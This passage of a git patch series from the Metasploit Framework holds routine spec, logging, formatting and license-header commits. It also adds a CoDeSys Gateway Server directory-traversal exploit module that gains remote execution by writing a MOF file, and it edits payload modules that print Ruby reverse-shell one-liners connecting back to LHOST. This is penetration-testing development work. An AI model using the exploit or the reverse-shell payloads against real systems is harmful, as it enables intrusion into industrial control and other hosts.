described_class.new(attributes) + end + + context 'with :default' do + let(:attributes) do + { + :default => default + } + end + + let(:default) do + [ + [ + 'param', + 'value' + ] + ] + end + + it 'should have :default in attributes' do + attributes.should have_key(:default) + end + + it 'should set default to :default value' do + base64_serializer.default.should == attributes[:default] + end + end + + context 'without :default' do + it 'should not have :default in attributes' do + attributes.should_not have_key(:default) + end + + it 'should default #default to DEFAULT' do + base64_serializer.default.should == default + end + end + end + + context '#load' do + context 'with nil' do + let(:serialized) do + nil + end + + it 'should return #default' do + default = mock('Default') + base64_serializer.stub(:default => default) + deserialized = base64_serializer.load(serialized) + + deserialized.should == default + end + end + + context 'with Base64 encoded marshaled' do + it 'should return unserialized' do + deserialized = base64_serializer.load(base64_marshaled) + + deserialized.should == unserialized + end + + end + + context 'with YAML' do + it 'should return unserialized' do + deserialized = base64_serializer.load(yaml) + + deserialized.should == unserialized + end + end + + context 'without Base64 encoded marshaled' do + context 'without YAML' do + let(:raw_value) do + "< a > b >" + end + + it 'should return raw value' do + deserialized = base64_serializer.load(raw_value) + + deserialized.should == raw_value + end + end + end + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/spec_helper.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/spec_helper.rb similarity index 66% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/spec_helper.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/spec_helper.rb index 32b4bef890..a619986a96 100755 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/spec_helper.rb +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/spec_helper.rb @@ -2,6 +2,8 @@ ENV['RAILS_ENV'] = 'test' require File.expand_path('../dummy/config/environment.rb', __FILE__) +require 'rspec/rails' +require 'rspec/autorun' require 'rubygems' require 'bundler' @@ -22,5 +24,12 @@ Dir.glob(support_glob) do |path| end RSpec.configure do |config| + config.before(:each) do + # Rex is only available when testing with metasploit-framework or pro, so stub out the methods that require it + Mdm::Workspace.any_instance.stub(:valid_ip_or_range? => true) + end + config.mock_with :rspec + config.use_transactional_fixtures = true + config.order = :random end diff --git a/lib/gemcache/ruby/1.9.1/specifications/metasploit_data_models-0.5.1.gemspec b/lib/gemcache/ruby/1.9.1/specifications/metasploit_data_models-0.6.0.gemspec similarity index 97% rename from lib/gemcache/ruby/1.9.1/specifications/metasploit_data_models-0.5.1.gemspec rename to lib/gemcache/ruby/1.9.1/specifications/metasploit_data_models-0.6.0.gemspec index a88f2d9cd0..4a19d34025 100644 --- a/lib/gemcache/ruby/1.9.1/specifications/metasploit_data_models-0.5.1.gemspec +++ b/lib/gemcache/ruby/1.9.1/specifications/metasploit_data_models-0.6.0.gemspec @@ -2,11 +2,11 @@ Gem::Specification.new do |s| s.name = "metasploit_data_models" - s.version = "0.5.1" + s.version = "0.6.0" s.required_rubygems_version = Gem::Requirement.new(">= 0") if s.respond_to? :required_rubygems_version= s.authors = ["Trevor Rosen"] - s.date = "2013-03-01" + s.date = "2013-03-06" s.description = "Implements minimal ActiveRecord models and database helper code used in both the Metasploit Framework (MSF) and Metasploit commercial editions." s.email = ["trevor_rosen@rapid7.com"] s.executables = ["mdm_console"] From c497d5ffefdad45fcb3576486ab09ef97874ae1d Mon Sep 17 00:00:00 2001 From: Tasos Laskos Date: Wed, 6 Mar 2013 18:25:25 +0200 Subject: [PATCH 305/341] Auxiliary::Web: log methods pass vuln info to parent --- lib/msf/core/auxiliary/web.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/auxiliary/web.rb b/lib/msf/core/auxiliary/web.rb index 3c83af5f9a..aac0ce084b 100644 --- a/lib/msf/core/auxiliary/web.rb +++ b/lib/msf/core/auxiliary/web.rb @@ -161,7 +161,6 @@ module Auxiliary::Web map { |x| x.to_s }.join( '|' ).hash return if parent.vulns.include?( vhash ) - parent.vulns[vhash] = true location = opts[:location] ? page.url.merge( URI( opts[:location].to_s )) : page.url @@ -183,6 +182,7 @@ module Auxiliary::Web } info[:confidence] = calculate_confidence( info ) + parent.vulns[vhash] = info report_web_vuln( info ) @@ -196,7 +196,6 @@ module Auxiliary::Web map { |x| x.to_s }.join( '|' ).hash return if parent.vulns.include?( vhash ) - parent.vulns[vhash] = true location = URI( opts[:location].to_s ) info = { @@ -216,6 +215,7 @@ module Auxiliary::Web } info[:confidence] = calculate_confidence( info ) + parent.vulns[vhash] = info report_web_vuln( info ) From aa3a54fba00b82fbd9cd36692e744daf306a6be2 Mon Sep 17 00:00:00 2001 From: "Enrique A. Sanchez Montellano" Date: Wed, 6 Mar 2013 09:29:28 -0800 Subject: [PATCH 306/341] Added CoDeSyS Gateway.exe Server remote execution via arbitrary file creation --- ...codesys_gateway_server_remote_execution.rb | 109 ++++++++++++++++++ 1 file changed, 109 insertions(+) create mode 100644 modules/exploits/windows/scada/codesys_gateway_server_remote_execution.rb diff --git a/modules/exploits/windows/scada/codesys_gateway_server_remote_execution.rb b/modules/exploits/windows/scada/codesys_gateway_server_remote_execution.rb new file mode 100644 index 0000000000..05c318e378 --- /dev/null +++ b/modules/exploits/windows/scada/codesys_gateway_server_remote_execution.rb @@ -0,0 +1,109 @@ +#!/usr/bin/env ruby + +require 'msf/core' +class Metasploit3 < Msf::Exploit::Remote + + Rank = ExcellentRanking + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::WbemExec + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'SCADA 3S CoDeSys Gateway Server Remote Execution', + 'Description' => %q{ + This module exploits arbitrary file creation to execute a mof file + gaining remote execution within the SCADA system + }, + 'Author' => + [ + 'Aaron Portnoy ', + 'Enrique Sanchez ' + ], + 'License' => 'MSF_LICENSE', + 'References' => + [ + ['Exodus Intel Training', '02-2013'] + ], + 'Platform' => 'win', + 'Targets' => + [ + ['Windows Universal', { }] + ], + 'DefaultTarget' => 0 + )) + + register_options( + [ + Opt::RPORT(1211), + ], self.class + ) + end + + def check + return Exploit::CheckCode::Vulnerable + end + + ## + # upload_file(remote_filepath, remote_filename, local_filedata) + # + # remote_filepath: Remote filepath where the file will be uploaded + # remote_filename: Remote name of the file to be executed ie. boot.ini + # local_file: File containing the read data for the local file to be uploaded, actual open/read/close done in exploit() + + def upload_file(remote_filepath, remote_filename, local_filedata = null) + magic_code = "\xdd\xdd" + opcode = [6].pack('L') + + # We create the filepath for the upload, for execution it should be \windows\system32\wbem\mof\ Date: Wed, 6 Mar 2013 10:44:29 -0800 Subject: [PATCH 307/341] Fixed EOL, bad indent, added header, removed #!/usr/env/ruby --- .../codesys_gateway_server_remote_execution.rb | 13 +++---------- 1 file changed, 3 insertions(+), 10 deletions(-) diff --git a/modules/exploits/windows/scada/codesys_gateway_server_remote_execution.rb b/modules/exploits/windows/scada/codesys_gateway_server_remote_execution.rb index 05c318e378..f849684d04 100644 --- a/modules/exploits/windows/scada/codesys_gateway_server_remote_execution.rb +++ b/modules/exploits/windows/scada/codesys_gateway_server_remote_execution.rb @@ -18,18 +18,17 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Aaron Portnoy ', 'Enrique Sanchez ' - ], + ], 'License' => 'MSF_LICENSE', 'References' => [ - ['Exodus Intel Training', '02-2013'] + ['ICSA-13-050-01', '02-19-2013'] ], 'Platform' => 'win', 'Targets' => [ - ['Windows Universal', { }] + ['Windows Universal S3 CoDeSyS < 2.3.9.27', { }] ], 'DefaultTarget' => 0 )) @@ -77,12 +76,6 @@ class Metasploit3 < Msf::Exploit::Remote print_status("File uploaded") end - def remove_file - end - - def read_file - end - def exploit print_status("- Attempting to communicate with SCADA system #{rhost} on port #{rport}") From aa5c9461aef6e667467af69f82e5ffbef3eb5fb9 Mon Sep 17 00:00:00 2001 From: "Enrique A. Sanchez Montellano" Date: Wed, 6 Mar 2013 10:50:31 -0800 Subject: [PATCH 308/341] Fixed more styling issues, EOL, tabs and headers --- ...codesys_gateway_server_remote_execution.rb | 199 +++++++++--------- 1 file changed, 101 insertions(+), 98 deletions(-) diff --git a/modules/exploits/windows/scada/codesys_gateway_server_remote_execution.rb b/modules/exploits/windows/scada/codesys_gateway_server_remote_execution.rb index f849684d04..d728af5ba3 100644 --- a/modules/exploits/windows/scada/codesys_gateway_server_remote_execution.rb +++ b/modules/exploits/windows/scada/codesys_gateway_server_remote_execution.rb @@ -1,102 +1,105 @@ -#!/usr/bin/env ruby - +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com +## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - - Rank = ExcellentRanking - include Msf::Exploit::EXE - include Msf::Exploit::FileDropper - include Msf::Exploit::Remote::Tcp - include Msf::Exploit::WbemExec - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'SCADA 3S CoDeSys Gateway Server Remote Execution', - 'Description' => %q{ - This module exploits arbitrary file creation to execute a mof file - gaining remote execution within the SCADA system - }, - 'Author' => - [ - 'Enrique Sanchez ' - ], - 'License' => 'MSF_LICENSE', - 'References' => - [ - ['ICSA-13-050-01', '02-19-2013'] - ], - 'Platform' => 'win', - 'Targets' => - [ - ['Windows Universal S3 CoDeSyS < 2.3.9.27', { }] - ], - 'DefaultTarget' => 0 - )) - - register_options( - [ - Opt::RPORT(1211), - ], self.class - ) - end - - def check - return Exploit::CheckCode::Vulnerable - end - ## - # upload_file(remote_filepath, remote_filename, local_filedata) - # - # remote_filepath: Remote filepath where the file will be uploaded - # remote_filename: Remote name of the file to be executed ie. boot.ini - # local_file: File containing the read data for the local file to be uploaded, actual open/read/close done in exploit() - - def upload_file(remote_filepath, remote_filename, local_filedata = null) - magic_code = "\xdd\xdd" - opcode = [6].pack('L') - - # We create the filepath for the upload, for execution it should be \windows\system32\wbem\mof\ 'SCADA 3S CoDeSys Gateway Server Remote Execution', + 'Description' => %q{ + This module exploits arbitrary file creation to execute a mof file + gaining remote execution within the SCADA system + }, + 'Author' => + [ + 'Enrique Sanchez ' + ], + 'License' => 'MSF_LICENSE', + 'References' => + [ + ['ICSA-13-050-01', '02-19-2013'] + ], + 'DisclosureDate' => 'Feb 02 2013', + 'Platform' => 'win', + 'Targets' => + [ + ['Windows Universal S3 CoDeSyS < 2.3.9.27', { }] + ], + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(1211), + ], self.class) + end + + def check + return Exploit::CheckCode::Vulnerable + end + + ## + # upload_file(remote_filepath, remote_filename, local_filedata) + # + # remote_filepath: Remote filepath where the file will be uploaded + # remote_filename: Remote name of the file to be executed ie. boot.ini + # local_file: File containing the read data for the local file to be uploaded, actual open/read/close done in exploit() + + def upload_file(remote_filepath, remote_filename, local_filedata = null) + magic_code = "\xdd\xdd" + opcode = [6].pack('L') + + # We create the filepath for the upload, for execution it should be \windows\system32\wbem\mof\ Date: Wed, 6 Mar 2013 14:52:32 -0600 Subject: [PATCH 309/341] Whitespace --- lib/msf/base/simple/exploit.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/lib/msf/base/simple/exploit.rb b/lib/msf/base/simple/exploit.rb index 32b9eae5fa..36e45a38cd 100644 --- a/lib/msf/base/simple/exploit.rb +++ b/lib/msf/base/simple/exploit.rb @@ -63,7 +63,7 @@ module Exploit exploit = oexploit.replicant Msf::Simple::Framework.simplify_module( exploit, false ) yield(exploit) if block_given? - + # Import options from the OptionStr or Option hash. exploit._import_extra_options(opts) @@ -74,14 +74,14 @@ module Exploit # Verify the options exploit.options.validate(exploit.datastore) - + # Start it up driver = ExploitDriver.new(exploit.framework) # Initialize the driver instance driver.exploit = exploit driver.payload = exploit.framework.payloads.create(opts['Payload']) - + # Set the force wait for session flag if the caller requested force # blocking. This is so that passive exploits can be blocked on from # things like the cli. @@ -137,9 +137,9 @@ module Exploit # Save the job identifier this exploit is running as exploit.job_id = driver.job_id - + # Propagate this back to the caller for console mgmt - oexploit.job_id = exploit.job_id + oexploit.job_id = exploit.job_id rescue ::Interrupt exploit.error = $! raise $! From 16d7b625bc6da6d27f9e68837aebdaf77a81576b Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 6 Mar 2013 16:31:39 -0600 Subject: [PATCH 311/341] Format cleanup --- ...codesys_gateway_server_remote_execution.rb | 54 ++++++++++--------- 1 file changed, 28 insertions(+), 26 deletions(-) diff --git a/modules/exploits/windows/scada/codesys_gateway_server_remote_execution.rb b/modules/exploits/windows/scada/codesys_gateway_server_remote_execution.rb index d728af5ba3..1a285839d6 100644 --- a/modules/exploits/windows/scada/codesys_gateway_server_remote_execution.rb +++ b/modules/exploits/windows/scada/codesys_gateway_server_remote_execution.rb @@ -4,10 +4,12 @@ # web site for more information on licensing and terms of use. # http://metasploit.com ## -require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking + include Msf::Exploit::EXE include Msf::Exploit::FileDropper include Msf::Exploit::Remote::Tcp @@ -15,27 +17,28 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'SCADA 3S CoDeSys Gateway Server Remote Execution', - 'Description' => %q{ - This module exploits arbitrary file creation to execute a mof file - gaining remote execution within the SCADA system - }, - 'Author' => - [ - 'Enrique Sanchez ' - ], - 'License' => 'MSF_LICENSE', - 'References' => - [ - ['ICSA-13-050-01', '02-19-2013'] - ], - 'DisclosureDate' => 'Feb 02 2013', - 'Platform' => 'win', - 'Targets' => - [ - ['Windows Universal S3 CoDeSyS < 2.3.9.27', { }] - ], - 'DefaultTarget' => 0)) + 'Name' => 'SCADA 3S CoDeSys Gateway Server Directory Traversal', + 'Description' => %q{ + This module exploits arbitrary file creation to execute a mof file + gaining remote execution within the SCADA system + }, + 'Author' => + [ + 'Enrique Sanchez ' + ], + 'License' => 'MSF_LICENSE', + 'References' => + [ + ['CVE', '2012-4705'], + ['URL', 'http://ics-cert.us-cert.gov/pdf/ICSA-13-050-01-a.pdf'] + ], + 'DisclosureDate' => 'Feb 02 2013', + 'Platform' => 'win', + 'Targets' => + [ + ['Windows Universal S3 CoDeSyS < 2.3.9.27', { }] + ], + 'DefaultTarget' => 0)) register_options( [ @@ -53,16 +56,15 @@ class Metasploit3 < Msf::Exploit::Remote # remote_filepath: Remote filepath where the file will be uploaded # remote_filename: Remote name of the file to be executed ie. boot.ini # local_file: File containing the read data for the local file to be uploaded, actual open/read/close done in exploit() - def upload_file(remote_filepath, remote_filename, local_filedata = null) magic_code = "\xdd\xdd" opcode = [6].pack('L') # We create the filepath for the upload, for execution it should be \windows\system32\wbem\mof\ Date: Wed, 6 Mar 2013 16:32:53 -0600 Subject: [PATCH 312/341] That's not a real check... --- .../windows/scada/codesys_gateway_server_remote_execution.rb | 4 ---- 1 file changed, 4 deletions(-) diff --git a/modules/exploits/windows/scada/codesys_gateway_server_remote_execution.rb b/modules/exploits/windows/scada/codesys_gateway_server_remote_execution.rb index 1a285839d6..a7bc219c8b 100644 --- a/modules/exploits/windows/scada/codesys_gateway_server_remote_execution.rb +++ b/modules/exploits/windows/scada/codesys_gateway_server_remote_execution.rb @@ -46,10 +46,6 @@ class Metasploit3 < Msf::Exploit::Remote ], self.class) end - def check - return Exploit::CheckCode::Vulnerable - end - ## # upload_file(remote_filepath, remote_filename, local_filedata) # From fee07678ddd39bd62b9f145bda652f532ccc4693 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 6 Mar 2013 16:33:41 -0600 Subject: [PATCH 313/341] Rename module to better describe the bug. --- ...er_remote_execution.rb => codesys_gateway_server_traversal.rb} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/exploits/windows/scada/{codesys_gateway_server_remote_execution.rb => codesys_gateway_server_traversal.rb} (100%) diff --git a/modules/exploits/windows/scada/codesys_gateway_server_remote_execution.rb b/modules/exploits/windows/scada/codesys_gateway_server_traversal.rb similarity index 100% rename from modules/exploits/windows/scada/codesys_gateway_server_remote_execution.rb rename to modules/exploits/windows/scada/codesys_gateway_server_traversal.rb From b65f4100482d0088ff719a9612a9f6b36568c207 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 6 Mar 2013 16:37:41 -0600 Subject: [PATCH 314/341] Updates the description --- .../windows/scada/codesys_gateway_server_traversal.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/scada/codesys_gateway_server_traversal.rb b/modules/exploits/windows/scada/codesys_gateway_server_traversal.rb index a7bc219c8b..999995d8b9 100644 --- a/modules/exploits/windows/scada/codesys_gateway_server_traversal.rb +++ b/modules/exploits/windows/scada/codesys_gateway_server_traversal.rb @@ -19,8 +19,9 @@ class Metasploit3 < Msf::Exploit::Remote super(update_info(info, 'Name' => 'SCADA 3S CoDeSys Gateway Server Directory Traversal', 'Description' => %q{ - This module exploits arbitrary file creation to execute a mof file - gaining remote execution within the SCADA system + This module exploits a directory traversal vulnerability that allows arbitrary + file creation, which can be used to execute a mof file in order to gain remote + execution within the SCADA system. }, 'Author' => [ From 7f80692457cfae7c9ee58f8b3dd8291bf2faf592 Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Wed, 6 Mar 2013 18:38:14 -0500 Subject: [PATCH 315/341] everyone will comply, resistance is futile --- .../singles/cmd/unix/reverse_bash_telnet_ssl.rb | 7 +------ modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb | 5 ----- modules/payloads/singles/cmd/unix/reverse_php_ssl.rb | 5 ----- .../payloads/singles/cmd/unix/reverse_python_ssl.rb | 5 ----- modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb | 10 ++++------ .../singles/cmd/unix/reverse_ssl_double_telnet.rb | 7 +------ .../payloads/singles/python/shell_reverse_tcp_ssl.rb | 5 ----- modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb | 8 ++------ 8 files changed, 8 insertions(+), 44 deletions(-) diff --git a/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb index b675712c9a..6d543a994b 100644 --- a/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb +++ b/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb @@ -1,7 +1,3 @@ -## -# $Id$ -## - ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit @@ -22,11 +18,10 @@ module Metasploit3 def initialize(info = {}) super(merge_info(info, 'Name' => 'Unix Command Shell, Reverse TCP SSL (telnet)', - 'Version' => '$Revision$', 'Description' => %q{ Creates an interactive shell via mknod and telnet. This method works on Debian and other systems compiled - without /dev/tcp support. This module uses the '-z' + without /dev/tcp support. This module uses the '-z' option included on some systems to encrypt using SSL. }, 'Author' => 'RageLtMan', diff --git a/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb index 96724f20e7..3e2981670b 100644 --- a/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb +++ b/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb @@ -1,7 +1,3 @@ -## -# $Id$ -## - ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit @@ -22,7 +18,6 @@ module Metasploit3 def initialize(info = {}) super(merge_info(info, 'Name' => 'Unix Command Shell, Reverse TCP SSL (via perl)', - 'Version' => '$Revision$', 'Description' => 'Creates an interactive shell via perl, uses SSL', 'Author' => 'RageLtMan', 'License' => BSD_LICENSE, diff --git a/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb index 9892515e26..201a01ed7f 100644 --- a/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb +++ b/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb @@ -1,7 +1,3 @@ -## -# $Id$ -## - ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit @@ -22,7 +18,6 @@ module Metasploit3 def initialize(info = {}) super(merge_info(info, 'Name' => 'Unix Command Shell, Reverse TCP SSL (via php)', - 'Version' => '$Revision$', 'Description' => 'Creates an interactive shell via php, uses SSL', 'Author' => 'RageLtMan', 'License' => BSD_LICENSE, diff --git a/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb index a7e232d24b..8afe25f47d 100644 --- a/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb +++ b/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb @@ -1,7 +1,3 @@ -## -# $Id$ -## - ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit @@ -22,7 +18,6 @@ module Metasploit3 def initialize(info = {}) super(merge_info(info, 'Name' => 'Unix Command Shell, Reverse TCP SSL (via python)', - 'Version' => '$Revision$', 'Description' => 'Creates an interactive shell via python, uses SSL, encodes with base64 by design.', 'Author' => 'RageLtMan', 'License' => BSD_LICENSE, diff --git a/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb index 6743def9e9..3b728e7b1f 100644 --- a/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb +++ b/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb @@ -1,7 +1,3 @@ -## -# $Id$ -## - ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit @@ -22,7 +18,6 @@ module Metasploit3 def initialize(info = {}) super(merge_info(info, 'Name' => 'Unix Command Shell, Reverse TCP SSL (via Ruby)', - 'Version' => '$Revision$', 'Description' => 'Connect back and create a command shell via Ruby, uses SSL', 'Author' => 'RageLtMan', 'License' => MSF_LICENSE, @@ -44,6 +39,9 @@ module Metasploit3 def command_string lhost = datastore['LHOST'] lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost) - "ruby -rsocket -ropenssl -e 'exit if fork;c=OpenSSL::SSL::SSLSocket.new(TCPSocket.new(\"#{lhost}\",\"#{datastore['LPORT']}\")).connect;while(cmd=c.gets);IO.popen(cmd.to_s,\"r\"){|io|c.print io.read}end'" + res = "ruby -rsocket -ropenssl -e 'exit if fork;c=OpenSSL::SSL::SSLSocket.new" + res << "(TCPSocket.new(\"#{lhost}\",\"#{datastore['LPORT']}\")).connect;while" + res << "(cmd=c.gets);IO.popen(cmd.to_s,\"r\"){|io|c.print io.read}end'" + return res end end diff --git a/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb b/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb index 593e69d716..5f97578b10 100644 --- a/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb +++ b/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb @@ -1,7 +1,3 @@ -## -# $Id$ -## - ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit @@ -21,8 +17,7 @@ module Metasploit3 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Unix Command Shell, Double reverse TCP SSL (telnet)', - 'Version' => '$Revision$', + 'Name' => 'Unix Command Shell, Double Reverse TCP SSL (telnet)', 'Description' => 'Creates an interactive shell through two inbound connections, encrypts using SSL via "-z" option', 'Author' => [ 'hdm', # Original module diff --git a/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb b/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb index ca70b10879..67bfafe883 100644 --- a/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb +++ b/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb @@ -1,7 +1,3 @@ -## -# $Id$ -## - ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit @@ -22,7 +18,6 @@ module Metasploit3 def initialize(info = {}) super(merge_info(info, 'Name' => 'Unix Command Shell, Reverse TCP SSL (via python)', - 'Version' => '$Revision$', 'Description' => 'Creates an interactive shell via python, uses SSL, encodes with base64 by design.', 'Author' => 'RageLtMan', 'License' => BSD_LICENSE, diff --git a/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb b/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb index 82f61c768d..0b61f6a96f 100644 --- a/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb +++ b/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb @@ -1,7 +1,3 @@ -## -# $Id$ -## - ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit @@ -24,7 +20,6 @@ module Metasploit3 def initialize(info = {}) super(merge_info(info, 'Name' => 'Ruby Command Shell, Reverse TCP SSL', - 'Version' => '$Revision$', 'Description' => 'Connect back and create a command shell via Ruby, uses SSL', 'Author' => 'RageLtMan', 'License' => MSF_LICENSE, @@ -46,7 +41,8 @@ module Metasploit3 def ruby_string lhost = datastore['LHOST'] lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost) - rbs = "require 'socket';require 'openssl';c=OpenSSL::SSL::SSLSocket.new(TCPSocket.new(\"#{lhost}\",\"#{datastore['LPORT']}\")).connect;while(cmd=c.gets);IO.popen(cmd.to_s,\"r\"){|io|c.print io.read}end" + rbs = "require 'socket';require 'openssl';c=OpenSSL::SSL::SSLSocket.new(TCPSocket.new(\"#{lhost}\"," + rbs << "\"#{datastore['LPORT']}\")).connect;while(cmd=c.gets);IO.popen(cmd.to_s,\"r\"){|io|c.print io.read}end" return rbs end end From 56639e7f1534bb1ed590e1be98f10e468aeb551e Mon Sep 17 00:00:00 2001 From: "J.Townsend" Date: Thu, 7 Mar 2013 00:10:46 +0000 Subject: [PATCH 316/341] added license info --- modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb b/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb index eb8924aea7..03405ccf57 100644 --- a/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb +++ b/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb @@ -1,3 +1,10 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + require 'msf/core' class Metasploit3 < Msf::Auxiliary From 9e89d9608fed3b31f5ca1143ef9e2ceb76e2b42b Mon Sep 17 00:00:00 2001 From: "J.Townsend" Date: Thu, 7 Mar 2013 00:11:45 +0000 Subject: [PATCH 317/341] added license info --- modules/auxiliary/admin/mssql/mssql_ntlm_stealer_sqli.rb | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/modules/auxiliary/admin/mssql/mssql_ntlm_stealer_sqli.rb b/modules/auxiliary/admin/mssql/mssql_ntlm_stealer_sqli.rb index b6c9dba312..39fc16fbec 100644 --- a/modules/auxiliary/admin/mssql/mssql_ntlm_stealer_sqli.rb +++ b/modules/auxiliary/admin/mssql/mssql_ntlm_stealer_sqli.rb @@ -1,3 +1,10 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + require 'msf/core' class Metasploit3 < Msf::Auxiliary From 1b493d0e4ca6b57dcf5b8534c38da214caf44b83 Mon Sep 17 00:00:00 2001 From: "J.Townsend" Date: Thu, 7 Mar 2013 00:16:26 +0000 Subject: [PATCH 318/341] added license info --- modules/auxiliary/admin/natpmp/natpmp_map.rb | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/modules/auxiliary/admin/natpmp/natpmp_map.rb b/modules/auxiliary/admin/natpmp/natpmp_map.rb index cbd59484ba..50d7948ed0 100644 --- a/modules/auxiliary/admin/natpmp/natpmp_map.rb +++ b/modules/auxiliary/admin/natpmp/natpmp_map.rb @@ -1,3 +1,10 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + require 'msf/core' require 'rex/proto/natpmp' From 3946cdf91e1252401121d0130dfa7f3120469bd4 Mon Sep 17 00:00:00 2001 From: "J.Townsend" Date: Thu, 7 Mar 2013 00:17:55 +0000 Subject: [PATCH 319/341] added license info --- modules/auxiliary/admin/scada/modicon_stux_transfer.rb | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/modules/auxiliary/admin/scada/modicon_stux_transfer.rb b/modules/auxiliary/admin/scada/modicon_stux_transfer.rb index dbbda3a618..b1908ad439 100644 --- a/modules/auxiliary/admin/scada/modicon_stux_transfer.rb +++ b/modules/auxiliary/admin/scada/modicon_stux_transfer.rb @@ -1,3 +1,10 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + require 'msf/core' class Metasploit3 < Msf::Auxiliary From e8c1899dc261972968bfc361295fc6ca7ff9b0ef Mon Sep 17 00:00:00 2001 From: "J.Townsend" Date: Thu, 7 Mar 2013 00:18:32 +0000 Subject: [PATCH 320/341] added license info --- modules/auxiliary/admin/scada/modicon_command.rb | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/modules/auxiliary/admin/scada/modicon_command.rb b/modules/auxiliary/admin/scada/modicon_command.rb index 6881b15080..7ab4303d68 100644 --- 